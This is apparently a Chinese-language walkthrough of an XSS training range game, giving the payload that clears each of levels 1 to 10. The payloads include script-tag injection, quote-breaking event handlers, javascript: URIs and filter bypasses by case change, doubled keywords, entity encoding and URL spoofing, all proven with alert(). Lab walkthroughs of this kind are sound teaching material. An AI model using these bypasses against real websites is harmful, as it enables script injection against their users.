漏洞复现篇——XSS靶场小游戏

环境安装:

把安装包解压到www目录下即可

开始闯关:

游戏开始页面,点击图片进入第一关

漏洞复现篇——XSS靶场小游戏

level1

这一关将test改成<script>alert(/xxx/)</script>即可

漏洞复现篇——XSS靶场小游戏
通关页面
漏洞复现篇——XSS靶场小游戏

level2

这一关要查看源代码

漏洞复现篇——XSS靶场小游戏
找到test的位置,发现第二处有突破口
漏洞复现篇——XSS靶场小游戏
输入"onclick="alert(/xxx/)然后点击页面即可

漏洞复现篇——XSS靶场小游戏

level3

这一关把双引号改成了单引号所以输入'onclick='alert(/xxx/)即可

漏洞复现篇——XSS靶场小游戏

level4

这一关与第二关一样"onclick="alert(/xxx/)
漏洞复现篇——XSS靶场小游戏

level5

用a标签如:"><a href=" javascript:alert(1)"
漏洞复现篇——XSS靶场小游戏

level6

将O大写即可绕过如:"Onclick="alert(1)
漏洞复现篇——XSS靶场小游戏

level7

用双写绕过,如:"oonnclick="alert(1)
漏洞复现篇——XSS靶场小游戏

level8

javascript:alert(1)进行实体编码绕过,如:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
漏洞复现篇——XSS靶场小游戏

level9

这里限制了网址格式并且过滤了script,所以要伪装一下,如:javascr ipt:alert(1)//http://

漏洞复现篇——XSS靶场小游戏

level10

自己添加一个弹框,如:!&t_sort=" type="text" onclick="alert(1)
漏洞复现篇——XSS靶场小游戏

level11